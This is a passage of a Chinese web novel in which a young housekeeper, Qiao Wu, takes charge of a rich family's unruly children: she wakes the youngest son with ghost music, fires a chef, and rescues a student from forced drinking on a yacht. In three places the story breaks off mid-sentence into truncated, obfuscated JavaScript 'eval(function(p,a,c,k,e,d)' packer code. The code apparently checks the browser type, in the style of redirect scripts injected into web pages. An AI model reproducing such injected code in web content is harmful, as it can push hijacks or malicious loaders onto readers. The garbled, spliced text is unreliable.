银白的刀尖在桌面上反射出刺眼的白光,让回到房间的陆应池心神不宁,脑海里一直都是乔梧扔下那把刀后抬眸看过来的一瞬间,他从脚底升腾起刺骨的麻意。 她变了。 变得不听话,而且胆大反骨。 难怪别人都说女人善变,烦死了。 六点半起床?她想得美。 陆应池看了眼装在房间里的小广播,扯唇一笑,毫不犹豫就从展示柜上操起一个摆件。 房间隔音好,巨大的响动也没有引起其他人的注意。 陆应池倒在大床上,心里只有一个字。 爽! - 次日,乔知义按照生物钟起来,虽然现在已经不做管家,但昨天的事还是传到了他的耳朵里,他有点担心,所以打算起来做早餐,趁这个机会跟女儿聊一聊。 没想到才下楼就听见厨房里有声音。 虽然跟女儿有个小别墅,但他始终记得自己的身份,也不会让其他佣人来这边帮忙,事事亲力亲为。 乔知义走上前,看清厨房里的人后瞳孔微微一缩:“小梧?” “您醒了?”乔梧做早餐的动作不停,“爸,以后不用早起给我做早餐,我做好放在保温箱里,您醒来直接吃就行。” 其实她可以直接在主宅那边吃,只不过考虑到父亲现在不去那边,就在家里吃了。 乔知义愣愣的,因为他从来没吃过女儿做的早餐,她以前觉得自己生来该娇生惯养,这些是佣人做的事,更是不爱吃中餐,这样才能彰显自己的不同和精致。 但现在她做的不就是中式早餐? “起这么早还习惯吗?”乔知义压着心里的动容问。 “还好,挺有精神的。” 终于得到身体的支配权,能够体验做正常人的快乐,乔梧乐在其中。 “小梧。”乔知义帮她捞起面条,放柔了声音,“你之前说的话爸都信,但不管陆家对我们有多好,我们都要牢记自己的身份,不该越界,昨天你…” 他犹豫着问:“是不是用刀威胁四少爷了?” “嗯。” 乔梧扔刀的时候,旁边佣人们下巴都要掉了,她看得见。 乔知义倒吸一口凉气,眼前隐隐发黑。 在陆家这么多年,别说拿刀威胁了,他重话都没说过几次。 小梧她、她怎么敢的? 对方还是四少爷那个混世魔王。 乔梧也知道父亲在担心什么,作为一个管家欺负到主家头上,实在是太过火了。 “爸。”她小口咬着面条,“对我来说,他们不仅仅是主家。” 乔知义没明白。 “我在这里长大,他们也算我的半个亲人。”乔梧语气极其自然,“在我力所能及之下,我希望他们每个人都好。” “可是……” “您放心,他们受不了我就会把我辞了的,我也心甘情愿,到时候我跟您一起离开陆家。”她快速吃完早餐,又说,“您是我父亲,任何事情都不用迁就我。” 看着女儿离开的背影,乔知义咬下口中软烂的面条,莫名有了种孩子一夜之间长大了错觉。 乔梧来到主宅时还不到六点半,有了昨天拿刀吓唬陆应池那一遭,今天家里所有佣人看她的眼神都变了。 虽然面上不显,但其实家里这些佣人都瞧不上乔梧,觉得她是个心思都浮于表面只会阿谀奉承的草包。 哪里想到草包居然跟少爷干起来了。 一部分人被吓住,另一部分人想看看她的好戏,分不清自己地位敢爬到主家头上的,还能待多久? 昨天四少爷怒气冲冲上楼时,还咬牙切齿地说:乔梧你给老子等着。 复杂的目光乔梧一概都当做看不见,进门时照样跟所有人问好,确定昨晚没有其他人回来后,她用没被剁掉的手再次按下晨铃。 这次她没有等回复,而是先去了厨房确认今天的早餐菜单。 进了厨房她才发现昨晚拟定的几个菜,早上一个都没做。 “有什么困难吗?”她问。 “没有。”厨师长自顾准备着自己的菜单,“但小小姐和四少爷好不容易在家吃早餐,做那些东西太寒碜了,今天特意做了蟹黄烧麦和虾饺,烤乳鸽,西式鱼子酱三文鱼可颂,各自都搭了三种水果。” 提起这个厨师就觉得生气,昨天他们不知道那早餐是要给小小姐和少爷吃的,所以只是简单的蔬菜饺子和白粥,要是少爷小姐吃得不高兴,到时候遭罪的是谁啊。 拍马屁谁不会拍,等到时候乔梧被赶出去了,其他人不就有机会了么。 “可颂拿掉。” “为什么?”厨师不服,“乔管家,您自己要惹小小姐少爷不开心,可别搭上我们,再者我们在这个家多少年了,您刚从国外回来什么也不知道就自己定菜单?” 乔梧冷冷地看着他:“那你知道什么?” “我知道……” 厨师顿时卡壳了,他还真的什么都不知道。 家里厨师多,但其实没几个人在家吃饭,也不会刻意去提谁的喜好,而他们为了彰显自己的厨艺都是什么精致什么贵就做什么,尤其是现在想讨好主家。 “乔管家这是什么语气,你以前不也喜欢这些吗?还说不吃平民食物,现在倒好,你让我们给小小姐和少爷吃什么?” 过去的被剧情支配的“自己”做了什么乔梧从来不放在心上,跟她又没什么关系。 但不代表她就能认下这些,她也明白这些人是见到昨天陆应池的态度后开始有异心了。 “你叫什么名字?”她问。 “李顺。” 乔梧点了下头,抬手将那份可颂和虾饺端到另一边,轻描淡写道:“李顺,你被解雇了。” “!!!” 小心翼翼观察形式的所有人顿时呆住。 李顺手里还握着一把刀,闻言两眼一瞪,像是随时都要冲过去,声音又粗又重:“你凭什么!” 但乔梧却没有被吓住,她径直走上前,硬生生逼得李顺往后退了两步,手里的刀也被夺走。 下一瞬,那把刀就噔的一声插在了菜板上,比昨晚那架势还要吓人,众人都不由得抖了抖。 乔管家怎么会有那么大的力气? 可乔梧并没有看向李顺,而是重新拿了两份水果出来,打开水的同时缓声道:“昨天我发了一份文件给你们每一个人,上面明确记下了家里每个人的喜好和忌讳。” 昨晚所有人的确收到了一份文件,但想到过去乔梧的尿性,很多人都是打开随意扫了一眼就没再仔细看了,因为那份文件很长很长。 此时乔梧的声音在水流下变得更加清冷:“小小姐不吃任何除水果以外的生食,四少爷对花生酱过敏,你同时犯了这么多错,留你有什么用?雇你那么高的工资不是让你来凭自己意愿做事的。” “你是厨师我是厨师?我就从来没听过小小姐他们有这种忌口!以前又不是没做过,你从哪里知道的?” 乔梧:“所以你从来没有主动向主家询问菜品反馈,罪加一等。” “我怎么知道的?”她将重新洗好的水果放在赶紧的盘子里,抬眼,“他们小时候的饭是我一口一口喂的,你说我怎么知道的?” 这家里来来去去那么多人,大多数都是后来者,只知道过去的乔梧是个谄媚的狗腿子。 却没想到她跟主家还有这么一段渊源。 “正好。”乔梧转身望着整个厨房里的厨师和佣人,她觉醒的时间比较短,加上处理陆柠的事一直没来得及在家里开个会,现在很多人对她都是观望态度,她不介意用这个机会来给自己立威。 “主家怎么对我是主家的事,我错了就认打认罚,同样的,不管你们服不服我,以前是什么心思,从今天开始只要我还是总管家一天,我发的文件你们每个人都必须烂熟于心,错了就自己把后果担着,别到时候来问我为什么,都明白了吗?” 她说话音调不高,但在安静的环境下却让人忍不住想要低头。 其余人一声不吭,只有李顺火冒三丈:“乔梧你就是一条狗,还真把自己当主人了?!你有什么资格解雇我!” 陆宅这么大,陆老爷子肯定没有那么大的精力管这么多小事,当初因为信任老管家所以一直给总管家很大的权利,只不过乔梧接任后很多人都觉得她年纪小又蠢笨,这才把这件事忘了。 乔梧拿起手机通知保安,眸色很淡:“凭我能让保安把你扔出去,但你不能。” 保安来抓李顺的时候,众人才发现陆柠一直站在厨房门口,也不知道在这儿待了多久。 她是不想起床,但被吵醒了没办法,她是打算下来把那个铃给砸了的。 但一下来却听佣人说乔梧在厨房她也摸了过来,心道不会是看到饺子被打翻了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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陆柠气得手都开始发抖,还没说出话乔梧已经打开门走了进去,她只能立刻跟上。 呵,她倒要看看,这两人背着她亲到什么地步。 陆应池房间的布局乔梧一清二楚,她没有立刻走进卧室,而是打开他书房的音响,这个人知道享受,一套音响设备都是好几百万,效果也相当不错,让人身临其境。 包括阴森渗人婉转幽怨的鬼乐。 陆柠听得起了一身的鸡皮疙瘩,心想这是什么幼稚的方法,陆应池会怕这个? 十秒过后,一门之隔的卧室里传出惊天地泣鬼神的尖叫:“卧槽!!!” 吓得陆柠烧麦都掉了。 等在门口的乔梧温和地敲门:“陆应池,你怎么了?” “有…有……”陆应池话也没说完整,最后急促地催,“你滚进来!” 乔梧这才推开门。 卧室里漆黑一片,吃瓜的陆柠探出脑袋,看到床头角落鼓起大大的一团,正在抖抖抖抖。 “哈。”她忍不住笑出声,“陆应池你肺活量真不错。” 她心里诡异地平衡了,这么一看乔梧对自己的手段还挺温柔的。 哼,还是她跟乔梧要亲一点。 听到这声音,陆应池猛地掀开蒙住头的被子。 他手里紧紧抱着一个枕头,脸色惨白惊魂未定,迟钝的脑子这下终于反应过来是什么情况。 这个世界上只有乔梧一个人知道他害怕什么。 “六点四十。”乔梧关掉音乐,用遥控打开窗帘,“还不错,你今天有时间在家吃早餐。” 她身体被阳光照着,明明是温暖的,可浑浑噩噩的陆应池却觉得通体冰凉。 这个女人,恐怖如斯。 他的声音沙哑中带着一丝脆弱的颤抖:“乔梧,我要杀了你。” “嗯,在那之前…”乔梧扫了眼缩在床头的他,挑眉,“你先站起来说话。” 陆应池:“……” 整个房间里顿时充盈着陆柠肆无忌惮的笑声。 陆应池从来没丢过这么大的人,他狠狠闭上眼,胸口急剧起伏。 从今天起,这个家有乔梧没他! 5. 第五章 陆应池状态不对,身边那些狐朋狗友也被殃及到,不小心在他睡觉的时候碰了他一下,就差点被这人踹到地上。 “怎么了陆少。”那人急忙躲到另一边的座位,“这两天吃炮仗了?一点就燃。” 趴在桌上的陆应池眼都没睁:“老子吃核弹了,滚。” “哟,谁踏马吃熊心豹子胆了敢惹陆少生气,给个名字兄弟帮你整死他。” 陆应池没搭理他,被一个小管家压制成这样传出去他还要不要脸了? 套不出什么话来那人也没气馁,笑嘻嘻地凑近:“别这样,我今天让人约了很多妹妹喝酒,去不去?” 只要现在能不回家,陆应池去哪都行。 他拿出手机刚要像以前一样发消息,可一看到置顶的名字就气不打一处来,麻利把置顶取消。 通知个屁! 不仅不通知,他从今以后都不回老宅睡觉了! 另一边,陆氏旗下的私人医院。 乔知义提着水果进门时,陆江正在翻看手里的资料,听见声音他抬起头笑道:“身体不好就好好休息,好不容易退休了,跑这么远做什么?” 乔知义走上前放下水果,“这两天好多了,想着来看看您,您少抽点……” 他看到陆江手里没有任何遮掩的文件,上面“乔梧”二字尤其明显,他身体僵了僵。 “习惯了,偶而抽一点,坐吧。”陆江恍若未觉,用普通聊天的语气说,“老乔,你在我身边也快四十年了?” 乔知义:“是,我19岁就跟在您身边了。” “都有白头发了。”陆江轻叹,“辛苦你了,还熬坏了身体。” “您言重了,是我要谢谢您给了我这么多机会。” “你总是一板一眼的。”陆江摆摆手,又说,“不过现在好了,女儿回来了以后你也不用太挂念,一家人在一起和和乐乐怎么都好,宅子那么大她一个人忙得辛苦,你身体也不好,不如让她多陪陪你,你说呢?” 这话相当委婉,跟着陆江做生意这么多年乔知义怎么能不明白。 老先生这话的意思是,不打算让小梧继续做这个总管家了,否则他也不会故意把文件摆在明面上给人看见。 这本来也是乔知义所希望的,只是他忽然想起女儿这两天说过的话,一时之间有些犹豫:“先生,小梧她……” “别急。”陆江把手里的文件放在他面前,“小乔是我看着长大的,我也不愿对她太苛刻,但能力和感情不能混为一谈,这一周家里什么样子你也应该清楚。” 顿了顿,他苦笑一声:“我年纪大要撑不住了,但家里还是一盘散沙,尽之他们几兄弟的心不在一条线上,你也没有办法继续帮我的忙,所以只要我还有一口气,就不能再让家里这么下去。” 话说到这个份上,乔知义真的有些愧疚。 哪怕这两天小梧有些变化,但他也不敢自顾搭上一整个陆家来教小梧长大。 “先生。”乔知义坐直身体,“我知道您的顾虑,小梧能力的好坏由我这个做父亲的来说也不客观,但我厚着脸皮求您一次,在您决定不愿意再聘用她之前,能不能亲自跟她谈一谈?” 话音才落,门口传来敲门声:“老先生,小乔管家来了。” 两人皆是一惊。 乔梧回国这一周从没来过医院一趟,怎么今天忽然来了? 陆江看了乔知义一眼。 后者忙道:“她说这两天忙,所以我来的事没跟她讲。” “那还真是巧。”陆江笑,“让她进来吧。” 门被人轻轻推开,陆江抬眼望去,有那么一瞬间没将眼前人跟记忆中的人对上。 在他印象里乔梧这孩子小时候倒是可爱,他有时候喜欢她都比喜欢那几个儿子多,但她越长大就越比他那几个儿子难伺候,眼里常透着人令人不舒服的精明,加上有意无意地避着他,他就没再去关注过这个孩子。 人心就是这样,有的人永远也养不熟。 可此时走进来的孩子眉眼清净柔和,哪怕是以陆江常年看惯了世家小姐的眼光都一眼惊艳,跟他刚才看到资料上的那人不太一样。 “爸?”乔梧先是看到了父亲,惊讶地问,“您什么时候过来的?” “才来一会儿。”陆江敛回思绪,笑道,“刚才还跟你爸说到你,这么久不见小乔也是女大十八变。” “是我的错。”乔梧将手里的保温桶放下,她是把家里一天的事情都安排好,又找了师傅修好了陆应池房里的小喇叭才来的。 主家生病了,作为一个管家于情于理都该过来。 她解释道:“这几天要整理的事情有点多,忘了过来探望老先生,以后每天都会来。” “叫什么老先生,以前不都叫叔叔吗?” “现在您是我老板了,上班时间身份不一样。”乔梧玩笑道。 陆江见她不卑不亢,着实有些惊讶:“这里面是什么?” 乔梧将保温桶打开:“不知道医院这边的厨房做得合不合您胃口,所以叫家里老师傅做了些您平常喜欢吃的,提前问过医生了,都能吃。” “你还知道我爱吃什么?” “应该的。”乔梧将所有的东西都摆在桌上,“营养师说您还没吃饭,我看着饭点过来的,还热着,您试试?” 饶是陆江这样的老油条都有些看不懂眼前的小姑娘了,保温桶里的东西的确都是他过去常吃的口味,但过去是乔知义负责他的生活起居,他忙于工作所以很少去在意这些细节。 现在一看乔梧居然也能拿捏得很好,要不是乔知义刚刚才看到文件,陆江都要怀疑这父女两是不是串通好了在他跟前演戏。 陆江没提解雇的事,既然人都到跟前了,也答应乔知义的说的,先跟她聊一聊:“小乔你坐,这周工作还适应吗?” “前两天有些乱,这两天好多了。”乔梧温声说,“今早辞退了厨师长。” 乔知义心都提到了嗓子眼,心道新官上任三把火,他闺女这火烧得有点吓人啊。 陆江没太大反应:“你有这个权利,是为什么?” 于是乔梧便把早上的事说了一遍。 陆江原本随和自然的表情渐渐变得沉重,他看着眼前这些菜,声音轻得几可不察:“孩子们还有这些忌口…” 他居然不知道。 文件里也没说这些事,他继续问:“然后呢?” 乔梧静静开口:“我动了家里的律师团,还动刀动鬼吓唬了四少爷,把他逼得砸了家里的全屋警铃。” 哐当一声,陆江的筷子掉到桌上。 什么时候的事,文件里也没写啊! “……什么?” 于是乔梧把前两天的事情都说了一遍,她并没有要告状的意思,但她希望能得到老先生的应允。 而且如果老先生也介意她用这种方式,那她就换一种。 没想到说完以后老先生很久都没吭声,直到他喝完了碗里的汤,才没憋住:“所以他们老实上学去了?” 乔梧沉吟一秒:“不算很老实,但去了。” 陆江抽了一张纸巾,但手却隐隐颤抖。 他这么多年来跟几个孩子吵过无数的架,也不是没有动过手,但这几个孩子越来越反骨,现在基本都互相不搭理了,之前逼着陆应池学习,逼急了他从三楼跳下去腿都折了。 但是乔梧都做到这个份上了,居然完好无损的从家里走出来了? 为啥? 难道是因为他没跟孩子动刀? 不应该啊。 他重新抬起头打量了一遍这个年轻的小姑娘,却没从她的眼里看到任何算计和狡猾,甚至比她父亲还要坚韧。 “您介意吗?”乔梧问。 陆江想也不想:“完全不介意!你这都还没动手呢,不行,你身板单薄还是不要动手,万一伤着就不行了,需要动手就喊保镖。” 乔知义:“……” 乔梧松了口气,抿唇轻笑:“我不会轻易动手,您不要觉得我逾矩管到少爷小小姐头上就好。” “那也得管得住他们。” 乔梧:“那我就继续了?如果您觉得不合适可以随时喊停。” 刚才还在想方设法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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新管家什么手段他们都不清楚,但少爷说话总归是比管家管用吧?老管家以前也没太忤逆主家过。 他们不敢开船也不敢松口给钥匙。 乔梧看了眼停在码头的这些船,拿出手机拨了个电话。 铃声快结束对面才传来男人低沉微哑的声音:“说。” 微凉的声音夹着海风吹来,刺激得乔梧脑子不受控制回到梦里的夜晚,以及那声遥远寂寥的被大雨浸湿的“滚”。 她愣了会儿神。 直到对面的男人又淡淡喊了一声:“乔梧。” 乔梧神思骤回,言简意赅:“陆尽之,你津岛的快艇能借我用一下吗?” 电话那头安静了很久。 久到乔梧身体被海风吹到发凉,才听到男人一个干净的音节。 “嗯。” “谢谢。” 乔梧飞快挂断电话,游艇再追上去会晚很多,所以她拿了一把快艇的钥匙。 见管理员犹犹豫豫,她干脆将钥匙拿了过来,她受过那么多教育和技能培训,游艇驾驶证也是其中之一。 她才踏上快艇,岸上的管理员就接到了电话。 “她要干什么?”那头的人问。 管理员磕磕绊绊:“好、好像是去追四少爷。” 远在大洋彼岸的陆尽之微垂眼睫,遮住眸色。 陆应池? 她什么时候跟陆应池搭上关系了。 “盯着。”他淡声说。 一分钟后,他手机上收到了一条视频消息。 管理员说盯就盯,用摄像头盯。 视频里的女人上了快艇后,利落脱下西装外套,衬衫裹着姣好的身形和纤细的腰肢。 她解开衬衫领口的两颗扣子,袖子卷到手腕,微微俯身将手搭上方向盘,流动的水纹映着白皙清瘦的小臂线条,一下一下晃进男人的眼底。 几秒后,她在海水和快艇的轰鸣声中呼啸而去,留下飞舞起来的长发残影和飞溅的雪白浪花。 6. 第六章 驶向津岛周边小岛的游艇上动感音乐灯光交杂,昂贵的香槟红酒被当做兴奋剂兜头浇下,人影憧憧。 露台上的陆应池翘着二郎腿陷在沙发里醉眼朦胧,这么多人他眼熟的就没几个,但这种场合他来得多了,认不认识都不影响他喝酒。 “陆少,都出来玩了就老别拉着张脸,到底怎么了?”有人从旁边递来一杯酒。 喝了酒的陆应池脑子没怎么转,随口问:“胡卓,你家不听话的佣人都怎么处理的?” “佣人?”胡卓轻嗤,“看不顺眼就打一顿让他滚。” 打一顿? 以前陆应池觉得自己要想打乔梧,她会毫不犹豫把脸伸到他的掌心,还会问他手疼不疼。 但现在…… 他还真的没把握,说不准这人会在他之前动手。 “不会吧陆少,你不开心是因为家里佣人?”胡卓大惊小怪,“你家那么多佣人还在意那一个两个呢?不就是一条狗。” 陆应池冷哼:“我不打女人。” “行,你不打我打。”胡卓撸起袖子,不怀好意笑道,“你要实在生气就交给我,保管让她叫天天不应,给你调教出一条百依百顺的好狗。” “关你屁事。”陆应池不满,“再不听话那也是我的……” 这么多年乔梧一直在他身边唯命是从,就算不要她了,那也是他的事,不会让任何人插手。 “行行行,别在意好狗坏狗了。”胡卓勾住他的肩膀,示意他抬头,语气暧昧暗示,“今晚远离都市,看上哪个直接孤岛激情不爽吗?” 一身酒味熏得陆应池皱眉拍开那双狗爪子,他随意扫了眼,一张张漂亮脸蛋在他眼底划过,却没有一张能留下印象。 没来由的,他忽然想起那天出电梯时看到的那张脸,在嘈杂的环境中愣是让他冷静了一瞬。 当初是乔梧亲口告诉他,不要在意别人的看法,他可以去追求自己的自由不被束缚,她会永远站在他身边,所以他碰了所有老头不允许做的事情。 现在想管,她管得着么。 “你每次出来光喝酒有什么意思,还有很多你没见识过的好玩的更刺激的。”胡卓又递给他一杯酒,循循善诱,“保准都干干净净,试一试不会后悔的,圈里哪些少爷小姐身边没几个人?大家都懂的,你不会连这些都不敢吧?” 陆应池脑袋被酒精刺激到,端着酒起身:“闭上你的狗嘴。” 他也没看清,就近就走到一个女生身边,将酒递过去:“喝一杯?” 女生吓了一跳,回头忙道:“不好意思,我不会喝酒。” 她原本以为只是普通的同学团建,来了才知道是这种场合,一点都不习惯。 这是陆应池第一次搭讪,根本不知道被拒绝以后要做什么,他也没逼别人喝酒的爱好,觉得十分没意思,于是转过手腕自己一口喝完转身走了。 在他身后看戏的胡卓咬了咬牙,觉得这个女生一点都不懂事,摇摇晃晃走过去:“你知道刚才那人谁吗?” “知道,陆应池。” 这游艇都是他的,她怎么能不知道。 胡卓冷声斥责:“知道你还拒绝,不知道他心情不好?” “可我真的不会喝酒。” “有谁先天就会喝酒的,喝着喝着不就会了?”胡卓拿了一杯酒怼到她嘴边,“喝了。” 女生死死紧闭着唇摇头:“我……” “这是陆应池的船,这里是他的地盘,他最讨厌不听话的狗了。”胡卓发现这个女孩长得比想象中还要好看,他低下头压低声音,“我恰好很会调教,你说我要怎么调教你才好?” 这边陆应池自己找了个清净的地方喝闷酒,过没多久听到有人急急忙忙跑来:“陆少,胡卓喝醉了在欺负廖廖,您帮帮忙看看吧!” 廖廖是谁? 陆应池烦躁地踹了一脚桌子:“傻逼玩意儿。” 他跟着人上了露台,胡卓正紧紧按着一个女生,把酒往人家嘴里灌。 廖廖余光看到陆应池也上来了,顿时害怕得发抖,一时情急奋力推开胡卓翻过栏杆:“你们别过来!再过来我就跳下去!” 胡卓往前逼近:“你跳…” 话没说完就被人从后面猛地扯过衣领,陆应池脸色漆黑:“你踏马有病?!” “这是海,她敢跳吗?”胡卓差点摔在地上,他扶住桌面有恃无恐,“前不着村后不着店,跳下去她能活的几率是多少,陆少我这是在给你出头,你急什么?” “老子不…” 陆应池话没说完就听到海面传来轰鸣声,众人不约而同回头。 一艘快艇由远及近,靠近时渐渐放慢了速度,一看就是奔着这里来的。 胡卓眯起眼:“谁啊?” 陆家的东西上都会印着陆氏家纹,陆应池认出了那是陆尽之的船。 但陆尽之人在国外,更不会管他,那这是谁? 忽的,一束灯光打下去,正好照在了开快艇的那人身上。 看清上面的人后,陆应池酒顿时清醒了大半,瞪大眼睛一把推开胡卓走到外围,死死盯着快艇上的女人。 开得快的原因,她身上被水花溅得半湿,整个人看着清清冷冷的,比拔刀时更要吓人。 乔梧微微仰起头,视线从陆应池身上一扫而过,看到被逼上船顶的女生后眸色顿时就沉了下去。 五分钟后,乔梧顺利登上游艇。 经过刚才那么一遭,很多人都悄悄回了一层的客厅里不敢露头,所以在有人登船时他们都看得清晰。 一个赤着脚瘦高的女人,单手拎着一件西装外套和一双高跟鞋,没有大学生的青涩也没有名利圈里的浮华,出现在灯光下的那一瞬宛如从深海中出来的海妖。 乔梧踩着楼梯上了顶层露台,陆应池还呆呆地站在那里没有反应。 胡卓没见过乔梧,但一看乔梧身上的气质又开着陆氏的快艇,以为她是陆家什么人,所以一时半会儿也没吭声。 乔梧略过这两人,将鞋扔在地上,走到了还牢牢扒住栏杆的女生面前,伸出手:“没事了,下来吧。” 如果不到最后一刻廖廖确实不敢往下跳,看到乔梧那一刻她好像找到了靠山,身体一下子就软了下来,颤抖着拉住对方的手,慢慢踩到露台的地面。 下一瞬,一件裹着淡淡书卷味的外套就披在她被酒浸湿的薄衫上。 廖廖忍不住抬起头。 半抱着她的女人看起来比她大不了多少,比她要高一点,侧脸轮廓完美到不可思议,眸光清疏耀眼。 “没事吧?”声音也比海风温柔。 廖廖轻声说:“还好。” 乔梧将她上下都看了一遍,确定没有其他受伤的地方,这才松手:“先坐。” 又问:“需要报警吗?” 报警两个字直接触到另外两人的神经,陆应池终于回过神:“你怎么来了!” 乔梧在桌上抽了张纸巾,将眼镜摘下来轻轻擦拭,掀眸淡声反问:“现在不来,等着你给我打电话让我善后的时候再来?” 不戴眼镜的乔梧目光更让人难以招架,陆应池周身都像是被烫了一下,如果是过去的乔梧看他,他或许能理直气壮的说一句“那又怎样”。 可面对现在的乔梧,他却莫名有种被人看透的不堪,让他下意识否认:“不是我!” “那是谁?” 从头到尾都没被分到一个眼神的胡卓忙赔笑道:“别,别报警,我们都是同学闹着玩的!陆少,你还没介绍,这位是?” “她是……”陆应池卡了壳。 乔梧没等他回答就打断了:“我有话跟你说。” 胡卓眼珠子转得飞快,一般人动不了陆家的船,陆应池也不会是这种态度,所以他哪怕不知道对方的身份也相当狗腿子,立刻往下面走:“你们说,我这就走,不会让任何人上来的!” “那谁,你也……” 乔梧:“她留下。” “好的好的。” 等再也没有了其余的声音,陆应池才一屁股坐在沙发上,扭过脑袋:“是刚才那个傻逼做的,不关我的事。” 乔梧没说话,而是戴上眼镜拿出一个最大的酒杯,往里面加满了酒,然后走到了陆应池面前,垂着眼看他:“好玩吗?” 陆应池受不了她的眼神,忍不住移开视线,可往下却是她腕骨分明的手腕,再往下是她赤裸的脚踝。 没穿鞋? 他眼皮跳了跳,飞快移开视线不耐道:“你到底要干什么?” “抬头。”乔梧说。 陆应池不明所以,脑袋刚往上抬了一点,眼前的人就忽然压了下来。 他急忙往后躲了躲,脖子却被冰凉的手肘压住了。 在廖廖的惊呼声中,乔梧一条膝盖半跪在沙发上,手肘紧紧抵住陆应池的锁骨往上抬,另一只手将那杯倒满的酒强行倒进他的嘴巴里。 陆应池根本不知道会发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乔梧嗯了声:“所以你现在知道了吗?因为有你做靠山,你身边的人在肆无忌惮地做着什么让别人难受的事,并不是你没做就无所谓了。” 陆应池没吭声。 “抱歉,弄湿你了。”乔梧坦然望向他手里的酒瓶,“你现在可以用酒泼我,我不会反抗。” 闻言陆应池不受控制将酒瓶往前递了递。 这是乔梧,是他的管家,他家花了钱的。 做错了事他有十足的理由惩罚她,她也不可以有任何怨言,像胡卓说的那样调教她。 可当他的酒瓶口触碰到乔梧的唇时,他的手却忽然抖了抖。 她修长的脖颈抬起优美的弧度,被海水溅得半湿的衣服还没干透,眸色清润。 陆应池骂了一句脏话,猝然松开她的手,朝着底下吼了一声:“胡卓,滚上来!” 听见声音的胡卓忙不跌跑上去,还没等他惊讶为什么陆少会变得这么狼狈,就忽然被一股大力给按在了沙发上:“陆少,你……” 剩下的话被酒瓶堵住。 陆应池没能在乔梧身上撒出来的气全撒在了这瓶酒里,他这下不犹豫了,将所有的酒都灌进胡卓嘴里身上,骂骂咧咧:“喜欢灌酒是吧?让你灌个够,都踏马是你害的,以后见到老子滚远点!” “姐姐……”廖廖看得心静胆颤,“这样可以吗?” “嗯。”乔梧还有心情吃水果,“这次我会给他善后。” 听了一耳朵的陆应池眸光忽然亮了亮,灌了两瓶酒后烦闷了好几天的心情一下好了起来,回头看到地上的红底高跟鞋时顿了顿,一脚将鞋踢到乔梧面前。 乔梧笑笑,微垂着头将鞋穿好。 陆应池收回视线:“现在满意了?” “嗯。”乔梧擦干净手,“走吧,带你回家。” 才站起身,廖廖忽然站起来,有点局促:“姐姐,你叫什么名字,可以留个电话吗?我叫廖廖,回头把衣服洗干净还你。” 这衣服看起来就不便宜。 闻言乔梧才给了她一个正眼,没所谓地轻笑:“一件衣服而已,不用那么大费周章,你受惊了,早点回家。” 乔梧只在意自己在意的人,也只相信事在人为,所谓的女主跟她没有任何关系,所以她没有过度打量,也无意结交,在她眼里这不过就是个无辜的不谙世事的学生罢了。 她这一趟过来不是为了拯救陆应池在女主心里的形象,只是单纯为了陆应池。 她才是自己的主角。 7. 第七章 “游艇还没上岛就开回来了,上面的人能走的走,不能走的小乔管家都安排了酒店。” “谁在挑事?” “叫胡卓,是四少爷上大学以后认识的朋友,不过这一趟跟四少爷似乎闹掰了,下了船直接被赶走的。” 陆尽之维持着原本的姿势没有变过,几秒后风轻云淡地问:“陆应池呢?” “四少爷跟小乔管家回去了,看起来有点狼狈。” “嗯。” 电话挂断,陆尽之漫不经心的视线落在遥远的海岸线上。 狼狈。 这个词他没有办法联想到陆应池身上,毕竟他印象里陆应池就是一条不服管教的野犬,逮谁咬谁,哪怕为了逃避学习摔断了腿脑袋都没低下过。 他会心甘情愿被那样的乔梧带走? 须臾,陆尽之垂眸,指尖勾开办工桌的其中一个抽屉,拿出一个手机解锁。 微信界面最上面的聊天框,从来只有对方单方面发来的消息。 “二少爷,我会帮你得到任何你想要的,包括整个陆家。” “二少爷,您让我做什么都可以,我永远都是您的人。” “二少爷,求您让我待在您身边吧,我不需要任何名分。” “二少爷,我马上回国了,能跟我见一面吗?” 现在发出这些消息的人,开着他的船,牵着另一条野犬回家了。 陆尽之忽的笑了声。 - 同样的消息自然也传到了陆江的耳朵里,这下他是真的对这个年轻的姑娘另眼相待了,看来文件上说的消息并不准,到底是一起长大的,年轻人之间才没有代沟。 当晚他就给乔梧打了个电话将承诺兑现,为了让那几个孽子相信,甚至还让秘书给了她一份文件。 以后乔梧只要能管得住家里这几个混世魔王,他绝不插手。 第二天一早,陆宅出现了这几年中最和谐魔幻的一幕。 常住在家的四少爷和小小姐居然一起早起,坐在了同一张餐桌上吃早餐。 陆柠是因为听说乔梧亲自跑去津岛把陆应池抓回来了,心里十分不舒服,觉得自己被背叛了,所以要盯着她。 而陆应池则是因为昨晚的事有点心虚,加上不知道乔梧又会想出什么点子来折腾他,还不如麻利起来,早吃完早出门。 两人在餐厅里仿佛隔着楚河汉界,一个不搭理一个。 直到佣人推着一个移动电视进来。 他们不明所以地看过去,只见屏幕上正在播放CCTV法制频道,被打了码的嫌疑人还在痛哭流涕的忏悔,字字恳切句句肺腑。 “???” 陆柠不解地问:“放这个干什么?” 餐厅太大,乔梧用遥控将声音加大,保证两人都能听见:“方便你们看看自己的未来人生规划,或者你们熟悉一下流程,以后给亲戚朋友探监说不准用得到。” 觉得有被内涵到的陆应池:“……” 草,她至于吗?! 不想让陆柠再看笑话,他只能转头瞪了一眼始作俑者,用眼神威胁:你有病? 乔梧全当看不见,而是将老先生发给自己的文件分别发给了一大一小。 陆柠和陆应池看完后脸色漆黑。 怎么回事,这是要让乔梧彻底接管他们了? “有什么异议你们可以提出来。”乔梧十分好说话,“如果没有,接下来我就会对你们的生活做一些约束行为了。” 约束? 是指每天六点半起床吃早饭在保镖的威胁下去上早八,还要在这儿坐着看傻逼兮兮的法制频道? 